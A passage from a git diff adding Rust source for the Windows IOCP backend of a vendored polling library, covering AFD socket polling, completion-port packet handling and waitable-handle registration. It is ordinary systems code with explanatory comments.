status block. +/// +/// # Safety +/// +/// A pointer to `T` must be able to be converted to a pointer to `IO_STATUS_BLOCK` +/// without any issues. +pub(super) unsafe trait AsIoStatusBlock {} + +unsafe impl AsIoStatusBlock for IoStatusBlock {} +unsafe impl Completion for IoStatusBlock { + fn try_lock(self: Pin<&Self>) -> bool { + !self.in_use.swap(true, Ordering::SeqCst) + } + + unsafe fn unlock(self: Pin<&Self>) { + self.in_use.store(false, Ordering::SeqCst); + } +} + +/// Get the base socket associated with a socket. +pub(super) fn base_socket(sock: RawSocket) -> io::Result { + // First, try the SIO_BASE_HANDLE ioctl. + let result = unsafe { try_socket_ioctl(sock, SIO_BASE_HANDLE) }; + + match result { + Ok(sock) => return Ok(sock), + Err(e) if e.kind() == io::ErrorKind::InvalidInput => return Err(e), + Err(_) => {} + } + + // Some poorly coded LSPs may not handle SIO_BASE_HANDLE properly, but in some cases may + // handle SIO_BSP_HANDLE_POLL better. Try that. + let result = unsafe { try_socket_ioctl(sock, SIO_BSP_HANDLE_POLL)? }; + if result == sock { + return Err(io::Error::from(io::ErrorKind::InvalidInput)); + } + + // Try `SIO_BASE_HANDLE` again, in case the LSP fixed itself. + unsafe { try_socket_ioctl(result, SIO_BASE_HANDLE) } +} + +/// Run an IOCTL on a socket and return a socket. +/// +/// # Safety +/// +/// The `ioctl` parameter must be a valid I/O control that returns a valid socket. +unsafe fn try_socket_ioctl(sock: RawSocket, ioctl: u32) -> io::Result { + let mut out = MaybeUninit::::uninit(); + let mut bytes = 0u32; + + let result = WSAIoctl( + sock as _, + ioctl, + ptr::null_mut(), + 0, + out.as_mut_ptr().cast(), + size_of::() as u32, + &mut bytes, + ptr::null_mut(), + None, + ); + + if result == SOCKET_ERROR { + return Err(io::Error::last_os_error()); + } + + Ok(out.assume_init()) +} diff --git a/lib/malio/polling/src/iocp/mod.rs b/lib/malio/polling/src/iocp/mod.rs new file mode 100644 index 0000000..facbe06 --- /dev/null +++ b/lib/malio/polling/src/iocp/mod.rs @@ -0,0 +1,1412 @@ +//! Bindings to Windows I/O Completion Ports. +//! +//! I/O Completion Ports is a completion-based API rather than a polling-based API, like +//! epoll or kqueue. Therefore, we have to adapt the IOCP API to the crate's API. +//! +//! WinSock is powered by the Auxiliary Function Driver (AFD) subsystem, which can be +//! accessed directly by using unstable `ntdll` functions. AFD exposes features that are not +//! available through the normal WinSock interface, such as IOCTL_AFD_POLL. This function is +//! similar to the exposed `WSAPoll` method. However, once the targeted socket is "ready", +//! a completion packet is queued to an I/O completion port. +//! +//! We take advantage of IOCTL_AFD_POLL to "translate" this crate's polling-based API +//! to the one Windows expects. When a device is added to the `Poller`, an IOCTL_AFD_POLL +//! operation is started and queued to the IOCP. To modify a currently registered device +//! (e.g. with `modify()` or `delete()`), the ongoing POLL is cancelled and then restarted +//! with new parameters. When the POLL eventually completes, the packet is posted to the IOCP. +//! From here it's a simple matter of using `GetQueuedCompletionStatusEx` to read the packets +//! from the IOCP and react accordingly. Notifying the poller is trivial, because we can +//! simply post a packet to the IOCP to wake it up. +//! +//! The main disadvantage of this strategy is that it relies on unstable Windows APIs. +//! However, as `libuv` (the backing I/O library for Node.JS) relies on the same unstable +//! AFD strategy, it is unlikely to be broken without plenty of advanced warning. +//! +//! Previously, this crate used the `wepoll` library for polling. `wepoll` uses a similar +//! AFD-based strategy for polling. + +mod afd; +mod port; + +use afd::{base_socket, Afd, AfdPollInfo, AfdPollMask, HasAfdInfo, IoStatusBlock}; +use port::{IoCompletionPort, OverlappedEntry}; + +use windows_sys::Win32::Foundation::{ERROR_INVALID_HANDLE, ERROR_IO_PENDING, STATUS_CANCELLED}; +use windows_sys::Win32::System::Threading::{ + RegisterWaitForSingleObject, UnregisterWait, INFINITE, WT_EXECUTELONGFUNCTION, + WT_EXECUTEONLYONCE, +}; + +use crate::{Event, PollMode}; + +use concurrent_queue::ConcurrentQueue; +use pin_project_lite::pin_project; + +use std::cell::UnsafeCell; +use std::collections::hash_map::{Entry, HashMap}; +use std::ffi::c_void; +use std::fmt; +use std::io; +use std::marker::PhantomPinned; +use std::mem::{forget, MaybeUninit}; +use std::os::windows::io::{ + AsHandle, AsRawHandle, AsRawSocket, BorrowedHandle, BorrowedSocket, RawHandle, RawSocket, +}; +use std::pin::Pin; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{Arc, Mutex, MutexGuard, RwLock, Weak}; +use std::time::{Duration, Instant}; + +/// Macro to lock and ignore lock poisoning. +macro_rules! lock { + ($lock_result:expr) => {{ + $lock_result.unwrap_or_else(|e| e.into_inner()) + }}; +} + +/// Interface to I/O completion ports. +#[derive(Debug)] +pub(super) struct Poller { + /// The I/O completion port. + port: Arc>, + + /// List of currently active AFD instances. + /// + /// AFD acts as the actual source of the socket events. It's essentially running `WSAPoll` on + /// the sockets and then posting the events to the IOCP. + /// + /// AFD instances can be keyed to an unlimited number of sockets. However, each AFD instance + /// polls their sockets linearly. Therefore, it is best to limit the number of sockets each AFD + /// instance is responsible for. The limit of 32 is chosen because that's what `wepoll` uses. + /// + /// Weak references are kept here so that the AFD handle is automatically dropped when the last + /// associated socket is dropped. + afd: Mutex>>>, + + /// The state of the sources registered with this poller. + /// + /// Each source is keyed by its raw socket ID. + sources: RwLock>, + + /// The state of the waitable handles registered with this poller. + waitables: RwLock>, + + /// Sockets with pending updates. + /// + /// This list contains packets with sockets that need to have their AFD state adjusted by + /// calling the `update()` function on them. It's best to queue up packets as they need to + /// be updated and then run all of the updates before we start waiting on the IOCP, rather than + /// updating them as we come. If we're waiting on the IOCP updates should be run immediately. + pending_updates: ConcurrentQueue, + + /// Are we currently polling? + /// + /// This indicates whether or not we are blocking on the IOCP, and is used to determine + /// whether pending updates should be run immediately or queued. + polling: AtomicBool, + + /// The packet used to notify the poller. + /// + /// This is a special-case packet that is used to wake up the poller when it is waiting. + notifier: Packet, +} + +unsafe impl Send for Poller {} +unsafe impl Sync for Poller {} + +impl Poller { + /// Creates a new poller. + pub(super) fn new() -> io::Result { + // Make sure AFD is able to be used. + if let Err(e) = afd::NtdllImports::force_load() { + return Err(io::Error::new( + io::ErrorKind::Unsupported, + AfdError::new("failed to initialize unstable Windows functions", e), + )); + } + + // Create and destroy a single AFD to test if we support it. + Afd::::new().map_err(|e| { + io::Error::new( + io::ErrorKind::Unsupported, + AfdError::new("failed to initialize \\Device\\Afd", e), + ) + })?; + + let port = IoCompletionPort::new(0)?; + #[cfg(feature = "tracing")] + tracing::trace!(handle = ?port, "new"); + + Ok(Poller { + #[allow(clippy::arc_with_non_send_sync)] + port: Arc::new(port), + afd: Mutex::new(vec![]), + sources: RwLock::new(HashMap::new()), + waitables: RwLock::new(HashMap::new()), + pending_updates: ConcurrentQueue::bounded(1024), + polling: AtomicBool::new(false), + notifier: Arc::pin( + PacketInner::Wakeup { + _pinned: PhantomPinned, + } + .into(), + ), + }) + } + + /// Whether this poller supports level-triggered events. + pub(super) fn supports_level(&self) -> bool { + true + } + + /// Whether this poller supports edge-triggered events. + pub(super) fn supports_edge(&self) -> bool { + false + } + + /// Add a new source to the poller. + /// + /// # Safety + /// + /// The socket must be a valid socket and must last until it is deleted. + pub(super) unsafe fn add( + &self, + socket: RawSocket, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "add", + handle = ?self.port, + sock = ?socket, + ev = ?interest, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // We don't support edge-triggered events. + if matches!(mode, PollMode::Edge | PollMode::EdgeOneshot) { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "edge-triggered events are not supported", + )); + } + + // Create a new packet. + let socket_state = { + // Create a new socket state and assign an AFD handle to it. + let state = SocketState { + socket, + base_socket: base_socket(socket)?, + interest, + interest_error: true, + afd: self.afd_handle()?, + mode, + waiting_on_delete: false, + status: SocketStatus::Idle, + }; + + // We wrap this socket state in a Packet so the IOCP can use it. + Arc::pin(IoStatusBlock::from(PacketInner::Socket { + packet: UnsafeCell::new(AfdPollInfo::default()), + socket: Mutex::new(state), + })) + }; + + // Keep track of the source in the poller. + { + let mut sources = lock!(self.sources.write()); + + match sources.entry(socket) { + Entry::Vacant(v) => { + v.insert(Pin::>::clone(&socket_state)); + } + + Entry::Occupied(_) => { + return Err(io::Error::from(io::ErrorKind::AlreadyExists)); + } + } + } + + // Update the packet. + self.update_packet(socket_state) + } + + /// Update a source in the poller. + pub(super) fn modify( + &self, + socket: BorrowedSocket<'_>, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "modify", + handle = ?self.port, + sock = ?socket, + ev = ?interest, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // We don't support edge-triggered events. + if matches!(mode, PollMode::Edge | PollMode::EdgeOneshot) { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "edge-triggered events are not supported", + )); + } + + // Get a reference to the source. + let source = { + let sources = lock!(self.sources.read()); + + sources + .get(&socket.as_raw_socket()) + .cloned() + .ok_or_else(|| io::Error::from(io::ErrorKind::NotFound))? + }; + + // Set the new event. + if source.as_ref().set_events(interest, mode) { + // The packet needs to be updated. + self.update_packet(source)?; + } + + Ok(()) + } + + /// Delete a source from the poller. + pub(super) fn delete(&self, socket: BorrowedSocket<'_>) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "remove", + handle = ?self.port, + sock = ?socket, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + // Remove the source from our associative map. + let source = { + let mut sources = lock!(self.sources.write()); + + match sources.remove(&socket.as_raw_socket()) { + Some(s) => s, + None => { + // If the source has already been removed, then we can just return. + return Ok(()); + } + } + }; + + // Indicate to the source that it is being deleted. + // This cancels any ongoing AFD_IOCTL_POLL operations. + source.begin_delete() + } + + /// Add a new waitable to the poller. + pub(super) fn add_waitable( + &self, + handle: RawHandle, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + tracing::trace!( + "add_waitable: handle={:?}, waitable={:p}, ev={:?}", + self.port, + handle, + interest + ); + + // We don't support edge-triggered events. + if matches!(mode, PollMode::Edge | PollMode::EdgeOneshot) { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "edge-triggered events are not supported", + )); + } + + // Create a new packet. + let handle_state = { + let state = WaitableState { + handle, + port: Arc::downgrade(&self.port), + interest, + mode, + status: WaitableStatus::Idle, + }; + + Arc::pin(IoStatusBlock::from(PacketInner::Waitable { + handle: Mutex::new(state), + })) + }; + + // Keep track of the source in the poller. + { + let mut sources = lock!(self.waitables.write()); + + match sources.entry(handle) { + Entry::Vacant(v) => { + v.insert(Pin::>::clone(&handle_state)); + } + + Entry::Occupied(_) => { + return Err(io::Error::from(io::ErrorKind::AlreadyExists)); + } + } + } + + // Update the packet. + self.update_packet(handle_state) + } + + /// Update a waitable in the poller. + pub(crate) fn modify_waitable( + &self, + waitable: RawHandle, + interest: Event, + mode: PollMode, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + tracing::trace!( + "modify_waitable: handle={:?}, waitable={:p}, ev={:?}", + self.port, + waitable, + interest + ); + + // We don't support edge-triggered events. + if matches!(mode, PollMode::Edge | PollMode::EdgeOneshot) { + return Err(io::Error::new( + io::ErrorKind::InvalidInput, + "edge-triggered events are not supported", + )); + } + + // Get a reference to the source. + let source = { + let sources = lock!(self.waitables.read()); + + sources + .get(&waitable) + .cloned() + .ok_or_else(|| io::Error::from(io::ErrorKind::NotFound))? + }; + + // Set the new event. + if source.as_ref().set_events(interest, mode) { + self.update_packet(source)?; + } + + Ok(()) + } + + /// Delete a waitable from the poller. + pub(super) fn remove_waitable(&self, waitable: RawHandle) -> io::Result<()> { + #[cfg(feature = "tracing")] + tracing::trace!("remove: handle={:?}, waitable={:p}", self.port, waitable); + + // Get a reference to the source. + let source = { + let mut sources = lock!(self.waitables.write()); + + match sources.remove(&waitable) { + Some(s) => s, + None => { + // If the source has already been removed, then we can just return. + return Ok(()); + } + } + }; + + // Indicate to the source that it is being deleted. + // This cancels any ongoing AFD_IOCTL_POLL operations. + source.begin_delete() + } + + /// Wait for events. + pub(super) fn wait_deadline( + &self, + events: &mut Events, + deadline: Option, + ) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + handle = ?self.port, + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut notified = false; + + loop { + let mut new_events = 0; + + // Indicate that we are now polling. + let was_polling = self.polling.swap(true, Ordering::SeqCst); + debug_assert!(!was_polling); + + // Even if we panic, we want to make sure we indicate that polling has stopped. + let guard = CallOnDrop(|| { + let was_polling = self.polling.swap(false, Ordering::SeqCst); + debug_assert!(was_polling); + }); + + // Process every entry in the queue before we start polling. + self.drain_update_queue(false)?; + + // Get the time to wait for. + let timeout = deadline.map(|t| t.saturating_duration_since(Instant::now())); + + // Wait for I/O events. + let _len = self.port.wait(&mut events.completions, timeout)?; + #[cfg(feature = "tracing")] + tracing::trace!( + handle = ?self.port, + res = ?_len, + "new events"); + + // We are no longer polling. + drop(guard); + + // Process all of the events. + for entry in events.completions.drain(..) { + let packet = entry.into_packet(); + + // Feed the event into the packet. + match packet.feed_event(self)? { + FeedEventResult::NoEvent => {} + FeedEventResult::Event(event) => { + events.packets.push(event); + new_events += 1; + } + FeedEventResult::Notified => { + notified = true; + } + } + } + + // Break if there was a notification or at least one event, or if deadline is reached. + let timeout_is_empty = timeout.is_some_and(|t| t.is_zero()); + if notified || new_events > 0 || timeout_is_empty { + break; + } + + #[cfg(feature = "tracing")] + tracing::trace!("wait: no events found, re-entering polling loop"); + } + + Ok(()) + } + + /// Notify this poller. + pub(super) fn notify(&self) -> io::Result<()> { + // Push the notify packet into the IOCP. + self.port.post(0, 0, self.notifier.clone()) + } + + /// Push an IOCP packet into the queue. + pub(super) fn post(&self, packet: CompletionPacket) -> io::Result<()> { + self.port.post(0, 0, packet.0) + } + + /// Run an update on a packet. + fn update_packet(&self, mut packet: Packet) -> io::Result<()> { + loop { + // If we are currently polling, we need to update the packet immediately. + if self.polling.load(Ordering::Acquire) { + packet.update()?; + return Ok(()); + } + + // Try to queue the update. + match self.pending_updates.push(packet) { + Ok(()) => return Ok(()), + Err(p) => packet = p.into_inner(), + } + + // If we failed to queue the update, we need to drain the queue first. + self.drain_update_queue(true)?; + + // Loop back and try again. + } + } + + /// Drain the update queue. + fn drain_update_queue(&self, limit: bool) -> io::Result<()> { + // Determine how many packets to process. + let max = if limit { + // Only drain the queue's capacity, since this could in theory run forever. + self.pending_updates.capacity().unwrap() + } else { + // Less of a concern if we're draining the queue prior to a poll operation. + usize::MAX + }; + + self.pending_updates + .try_iter() + .take(max) + .try_for_each(|packet| packet.update()) + } + + /// Get a handle to the AFD reference. + /// + /// This finds an AFD handle with less than 32 associated sockets, or creates a new one if + /// one does not exist. + fn afd_handle(&self) -> io::Result>> { + const AFD_MAX_SIZE: usize = 32; + + // Crawl the list and see if there are any existing AFD instances that we can use. + // While we're here, remove any unused AFD pointers. + let mut afd_handles = lock!(self.afd.lock()); + let mut i = 0; + while i < afd_handles.len() { + // Get the reference count of the AFD instance. + let refcount = Weak::strong_count(&afd_handles[i]); + + match refcount { + 0 => { + // Prune the AFD pointer if it has no references. + afd_handles.swap_remove(i); + } + + refcount if refcount >= AFD_MAX_SIZE => { + // Skip this one, since it is already at the maximum size. + i += 1; + } + + _ => { + // We can use this AFD instance. + match afd_handles[i].upgrade() { + Some(afd) => return Ok(afd), + None => { + // The last socket dropped the AFD before we could acquire it. + // Prune the AFD pointer and continue. + afd_handles.swap_remove(i); + } + } + } + } + } + + // No available handles, create a new AFD instance. + #[allow(clippy::arc_with_non_send_sync)] + let afd = Arc::new(Afd::new()?); + + // Register the AFD instance with the I/O completion port. + self.port.register(&*afd, true)?; + + // Insert a weak pointer to the AFD instance into the list for other sockets. + afd_handles.push(Arc::downgrade(&afd)); + + Ok(afd) + } +} + +impl AsRawHandle for Poller { + fn as_raw_handle(&self) -> RawHandle { + self.port.as_raw_handle() + } +} + +impl AsHandle for Poller { + fn as_handle(&self) -> BorrowedHandle<'_> { + unsafe { BorrowedHandle::borrow_raw(self.as_raw_handle()) } + } +} + +/// The container for events. +pub(super) struct Events { + /// List of IOCP packets. + packets: Vec, + + /// Buffer for completion packets. + completions: Vec>, +} + +unsafe impl Send for Events {} + +impl Events { + /// Creates an empty list of events. + pub fn with_capacity(cap: usize) -> Events { + Events { + packets: Vec::with_capacity(cap), + completions: Vec::with_capacity(cap), + } + } + + /// Iterate over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + self.packets.iter().copied() + } + + /// Clear the list of events. + pub fn clear(&mut self) { + self.packets.clear(); + } + + /// The capacity of the list of events. + pub fn capacity(&self) -> usize { + self.packets.capacity() + } +} + +/// Extra information about an event. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +pub struct EventExtra { + /// Flags associated with this event. + flags: AfdPollMask, +} + +impl EventExtra { + /// Create a new, empty version of this struct. + #[inline] + pub const fn empty() -> EventExtra { + EventExtra { + flags: AfdPollMask::empty(), + } + } + + /// Is this a HUP event? + #[inline] + pub fn is_hup(&self) -> bool { + self.flags.intersects(AfdPollMask::ABORT) + } + + /// Is this a PRI event? + #[inline] + pub fn is_pri(&self) -> bool { + self.flags.intersects(AfdPollMask::RECEIVE_EXPEDITED) + } + + /// Set up a listener for HUP events. + #[inline] + pub fn set_hup(&mut self, active: bool) { + self.flags.set(AfdPollMask::ABORT, active); + } + + /// Set up a listener for PRI events. + #[inline] + pub fn set_pri(&mut self, active: bool) { + self.flags.set(AfdPollMask::RECEIVE_EXPEDITED, active); + } + + /// Check if TCP connect failed. Deprecated. + #[inline] + pub fn is_connect_failed(&self) -> Option { + Some(self.flags.intersects(AfdPollMask::CONNECT_FAIL)) + } + + /// Check if TCP connect failed. + #[inline] + pub fn is_err(&self) -> Option { + Some(self.flags.intersects(AfdPollMask::CONNECT_FAIL)) + } +} + +/// A packet used to wake up the poller with an event. +#[derive(Debug, Clone)] +pub struct CompletionPacket(Packet); + +impl CompletionPacket { + /// Create a new completion packet with a custom event. + pub fn new(event: Event) -> Self { + Self(Arc::pin(IoStatusBlock::from(PacketInner::Custom { event }))) + } + + /// Get the event associated with this packet. + pub fn event(&self) -> &Event { + let data = self.0.as_ref().data().project_ref(); + + match data { + PacketInnerProj::Custom { event } => event, + _ => unreachable!(), + } + } +} + +/// The type of our completion packet. +/// +/// It needs to be pinned, since it contains data that is expected by IOCP not to be moved. +type Packet = Pin>; +type PacketUnwrapped = IoStatusBlock; + +pin_project! { + /// The inner type of the packet. + #[project_ref = PacketInnerProj] + #[project = PacketInnerProjMut] + enum PacketInner { + // A packet for a socket. + Socket { + // The AFD packet state. + #[pin] + packet: UnsafeCell, + + // The socket state. + socket: Mutex + }, + + /// A packet for a waitable handle. + Waitable { + handle: Mutex + }, + + /// A custom event sent by the user. + Custom { + event: Event, + }, + + // A packet used to wake up the poller. + Wakeup { #[pin] _pinned: PhantomPinned }, + } +} + +unsafe impl Send for PacketInner {} +unsafe impl Sync for PacketInner {} + +impl fmt::Debug for PacketInner { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::Wakeup { .. } => f.write_str("Wakeup { .. }"), + Self::Custom { event } => f.debug_struct("Custom").field("event", event).finish(), + Self::Socket { socket, .. } => f + .debug_struct("Socket") + .field("packet", &"..") + .field("socket", socket) + .finish(), + Self::Waitable { handle } => { + f.debug_struct("Waitable").field("handle", handle).finish() + } + } + } +} + +impl HasAfdInfo for PacketInner { + fn afd_info(self: Pin<&Self>) -> Pin<&UnsafeCell> { + match self.project_ref() { + PacketInnerProj::Socket { packet, .. } => packet, + _ => unreachable!(), + } + } +} + +impl PacketUnwrapped { + /// Set the new events that this socket is waiting on. + /// + /// Returns `true` if we need to be updated. + fn set_events(self: Pin<&Self>, interest: Event, mode: PollMode) -> bool { + match self.data().project_ref() { + PacketInnerProj::Socket { socket, .. } => { + let mut socket = lock!(socket.lock()); + socket.interest = interest; + socket.mode = mode; + socket.interest_error = true; + + // If there was a change, indicate that we need an update. + match socket.status { + SocketStatus::Polling { flags } => { + let our_flags = event_to_afd_mask(socket.interest, socket.interest_error); + our_flags != flags + } + _ => true, + } + } + PacketInnerProj::Waitable { handle } => { + let mut handle = lock!(handle.lock()); + + // Set the new interest. + handle.interest = interest; + handle.mode = mode; + + // Update if there is no ongoing wait. + handle.status.is_idle() + } + _ => true, + } + } + + /// Update the socket and install the new status in AFD. + /// + /// This function does one of the following: + /// + /// - Nothing, if the packet is waiting on being dropped anyways. + /// - Cancels the ongoing poll, if we want to poll for different events than we are currently + /// polling for. + /// - Starts a new AFD_POLL operation, if we are not currently polling. + fn update(self: Pin>) -> io::Result<()> { + let mut socket = match self.as_ref().data().project_ref() { + PacketInnerProj::Socket { socket, .. } => lock!(socket.lock()), + PacketInnerProj::Waitable { handle } => { + let mut handle = lock!(handle.lock()); + + // If there is no interests, or if we have been cancelled, we don't need to update. + if !handle.interest.readable && !handle.interest.writable { + return Ok(()); + } + + // If we are idle, we need to update. + if !handle.status.is_idle() { + return Ok(()); + } + + // Start a new wait. + let packet = self.clone(); + let wait_handle = WaitHandle::new( + handle.handle, + move || { + let mut handle = match packet.as_ref().data().project_ref() { + PacketInnerProj::Waitable { handle } => lock!(handle.lock()), + _ => unreachable!(), + }; + + // Try to get the IOCP. + let iocp = match handle.port.upgrade() { + Some(iocp) => iocp, + None => return, + }; + + // Set us back into the idle state. + handle.status = WaitableStatus::Idle; + + // Push this packet. + drop(handle); + if let Err(_e) = iocp.post(0, 0, packet) { + #[cfg(feature = "tracing")] + tracing::error!("failed to post completion packet: {}", _e); + } + }, + None, + false, + )?; + + // Set the new status. + handle.status = WaitableStatus::Waiting(wait_handle); + + return Ok(()); + } + _ => return Err(io::Error::new(io::ErrorKind::Other, "invalid socket state")), + }; + + // If we are waiting on a delete, just return, dropping the packet. + if socket.waiting_on_delete { + return Ok(()); + } + + // Check the current status. + match socket.status { + SocketStatus::Polling { flags } => { + // If we need to poll for events aside from what we are currently polling, we need + // to update the packet. Cancel the ongoing poll. + let our_flags = event_to_afd_mask(socket.interest, socket.interest_error); + if our_flags != flags { + return self.cancel(socket); + } + + // All events that we are currently waiting on are accounted for. + Ok(()) + } + + SocketStatus::Cancelled => { + // The ongoing operation was cancelled, and we're still waiting for it to return. + // For now, wait until the top-level loop calls feed_event(). + Ok(()) + } + + SocketStatus::Idle => { + // Start a new poll. + let mask = event_to_afd_mask(socket.interest, socket.interest_error); + let result = socket.afd.poll(self.clone(), socket.base_socket, mask); + + match result { + Ok(()) => {} + + Err(err) + if err.raw_os_error() == Some(ERROR_IO_PENDING as i32) + || err.kind() == io::ErrorKind::WouldBlock => + { + // The operation is pending. + } + + Err(err) if err.raw_os_error() == Some(ERROR_INVALID_HANDLE as i32) => { + // The socket was closed. We need to delete it. + // This should happen after we drop it here. + } + + Err(err) => return Err(err), + } + + // We are now polling for the current events. + socket.status = SocketStatus::Polling { flags: mask }; + + Ok(()) + } + } + } + + /// This socket state was notified; see if we need to update it. + /// + /// This indicates that this packet was indicated as "ready" by the IOCP and needs to be + /// processed. + fn feed_event(self: Pin>, poller: &Poller) -> io::Result { + let inner = self.as_ref().data().project_ref(); + + let (afd_info, socket) = match inner { + PacketInnerProj::Socket { packet, socket } => (packet, socket), + PacketInnerProj::Custom { event } => { + // This is a custom event. + return Ok(FeedEventResult::Event(*event)); + } + PacketInnerProj::Wakeup { .. } => { + // The poller was notified. + return Ok(FeedEventResult::Notified); + } + PacketInnerProj::Waitable { handle } => { + let mut handle = lock!(handle.lock()); + let event = handle.interest; + + // Clear the events if we are in one-shot mode. + if matches!(handle.mode, PollMode::Oneshot) { + handle.interest = Event::none(handle.interest.key); + } + + // Submit for an update. + drop(handle); + poller.update_packet(self)?; + + return Ok(FeedEventResult::Event(event)); + } + }; + + let mut socket_state = lock!(socket.lock()); + let mut event = Event::none(socket_state.interest.key); + + // Put ourselves into the idle state. + socket_state.status = SocketStatus::Idle; + + // If we are waiting to be deleted, just return and let the drop handler do their thing. + if socket_state.waiting_on_delete { + return Ok(FeedEventResult::NoEvent); + } + + unsafe { + // SAFETY: The packet is not in transit. + let iosb = &mut *self.as_ref().iosb().get(); + + // Check the status. + match iosb.Anonymous.Status { + STATUS_CANCELLED => { + // Poll request was cancelled. + } + + status if status < 0 => { + // There was an error, so we signal both ends. + event.readable = true; + event.writable = true; + } + + _ => { + // Check in on the AFD data. + let afd_data = &*afd_info.get(); + + // There was at least one event. + if afd_data.handle_count() >= 1 { + let events = afd_data.events(); + + // If we closed the socket, remove it from being polled. + if events.intersects(AfdPollMask::LOCAL_CLOSE) { + let source = lock!(poller.sources.write()) + .remove(&socket_state.socket) + .unwrap(); + return source.begin_delete().map(|()| FeedEventResult::NoEvent); + } + + // Report socket-related events. + let (readable, writable) = afd_mask_to_event(events); + event.readable = readable; + event.writable = writable; + event.extra.flags = events; + } + } + } + } + + // Filter out events that the user didn't ask for. + event.readable &= socket_state.interest.readable; + event.writable &= socket_state.interest.writable; + + // If this event doesn't have anything that interests us, don't return or + // update the oneshot state. + let return_value = if event.readable + || event.writable + || event + .extra + .flags + .intersects(socket_state.interest.extra.flags) + { + // If we are in oneshot mode, remove the interest. + if matches!(socket_state.mode, PollMode::Oneshot) { + socket_state.interest = Event::none(socket_state.interest.key); + socket_state.interest_error = false; + } + + FeedEventResult::Event(event) + } else { + FeedEventResult::NoEvent + }; + + // Put ourselves in the update queue. + drop(socket_state); + poller.update_packet(self)?; + + // Return the event. + Ok(return_value) + } + + /// Begin deleting this socket. + fn begin_delete(self: Pin>) -> io::Result<()> { + // If we aren't already being deleted, start deleting. + let mut socket = match self.as_ref().data().project_ref() { + PacketInnerProj::Socket { socket, .. } => lock!(socket.lock()), + PacketInnerProj::Waitable { handle } => { + let mut handle = lock!(handle.lock()); + + // Set the status to be cancelled. This drops the wait handle and prevents + // any further updates. + handle.status = WaitableStatus::Cancelled; + + return Ok(()); + } + _ => panic!("can't delete packet that doesn't belong to a socket"), + }; + if !socket.waiting_on_delete { + socket.waiting_on_delete = true; + + if matches!(socket.status, SocketStatus::Polling { .. }) { + // Cancel the ongoing poll. + self.cancel(socket)?; + } + } + + // Either drop it now or wait for it to be dropped later. + Ok(()) + } + + fn cancel(self: &Pin>, mut socket: MutexGuard<'_, SocketState>) -> io::Result<()> { + assert!(matches!(socket.status, SocketStatus::Polling { .. })); + + // Send the cancel request. + unsafe { + socket.afd.cancel(self)?; + } + + // Move state to cancelled. + socket.status = SocketStatus::Cancelled; + + Ok(()) + } +} + +/// Per-socket state. +#[derive(Debug)] +struct SocketState { + /// The raw socket handle. + socket: RawSocket, + + /// The base socket handle. + base_socket: RawSocket, + + /// The event that this socket is currently waiting on. + interest: Event, + + /// Whether to listen for error events. + interest_error: bool, + + /// The current poll mode. + mode: PollMode, + + /// The AFD instance that this socket is registered with. + afd: Arc>, + + /// Whether this socket is waiting to be deleted. + waiting_on_delete: bool, + + /// The current status of the socket. + status: SocketStatus, +} + +/// The mode that a socket can be in. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +enum SocketStatus { + /// We are currently not polling. + Idle, + + /// We are currently polling these events. + Polling { + /// The flags we are currently polling for. + flags: AfdPollMask, + }, + + /// The last poll operation was cancelled, and we're waiting for it to + /// complete. + Cancelled, +} + +/// Per-waitable handle state. +#[derive(Debug)] +struct WaitableState { + /// The handle that this state is for. + handle: RawHandle, + + /// The IO completion port that this handle is registered with. + port: Weak>, + + /// The event that this handle will report. + interest: Event, + + /// The current poll mode. + mode: PollMode, + + /// The status of this waitable. + status: WaitableStatus, +} + +#[derive(Debug)] +enum WaitableStatus { + /// We are not polling. + Idle, + + /// We are waiting on this handle to become signaled. + Waiting(#[allow(dead_code)] WaitHandle), + + /// This handle has been cancelled. + Cancelled, +} + +impl WaitableStatus { + fn is_idle(&self) -> bool { + matches!(self, WaitableStatus::Idle) + } +} + +/// The result of calling `feed_event`. +#[derive(Debug)] +enum FeedEventResult { + /// No event was yielded. + NoEvent, + + /// An event was yielded. + Event(Event), + + /// The poller has been notified. + Notified, +} + +/// A handle for an ongoing wait operation. +#[derive(Debug)] +struct WaitHandle(RawHandle); + +impl Drop for WaitHandle { + fn drop(&mut self) { + unsafe { + UnregisterWait(self.0 as _); + } + } +} + +impl WaitHandle { + /// Wait for a waitable handle to become signaled. + fn new( + handle: RawHandle, + callback: F, + timeout: Option, + long_wait: bool, + ) -> io::Result + where + F: FnOnce() + Send + Sync + 'static, + { + // Make sure a panic in the callback doesn't propagate to the OS. + struct AbortOnDrop; + + impl Drop for AbortOnDrop { + fn drop(&mut self) { + std::process::abort(); + } + } + + unsafe extern "system" fn wait_callback( + context: *mut c_void, + _timer_fired: bool, + ) { + let _guard = AbortOnDrop; + let callback = Box::from_raw(context as *mut F); + callback(); + + // We executed without panicking, so don't abort. + forget(_guard); + } + + let mut wait_handle = MaybeUninit::::uninit(); + + let mut flags = WT_EXECUTEONLYONCE; + if long_wait { + flags |= WT_EXECUTELONGFUNCTION; + } + + let res = unsafe { + RegisterWaitForSingleObject( + wait_handle.as_mut_ptr().cast::<_>(), + handle as _, + Some(wait_callback::), + Box::into_raw(Box::new(callback)) as _, + timeout.map_or(INFINITE, dur2timeout), + flags, + ) + }; + + if res == 0 { + return Err(io::Error::last_os_error()); + } + + let wait_handle = unsafe { wait_handle.assume_init() }; + Ok(Self(wait_handle)) + } +} + +/// Translate an event to the mask expected by AFD. +#[inline] +fn event_to_afd_mask(event: Event, error: bool) -> 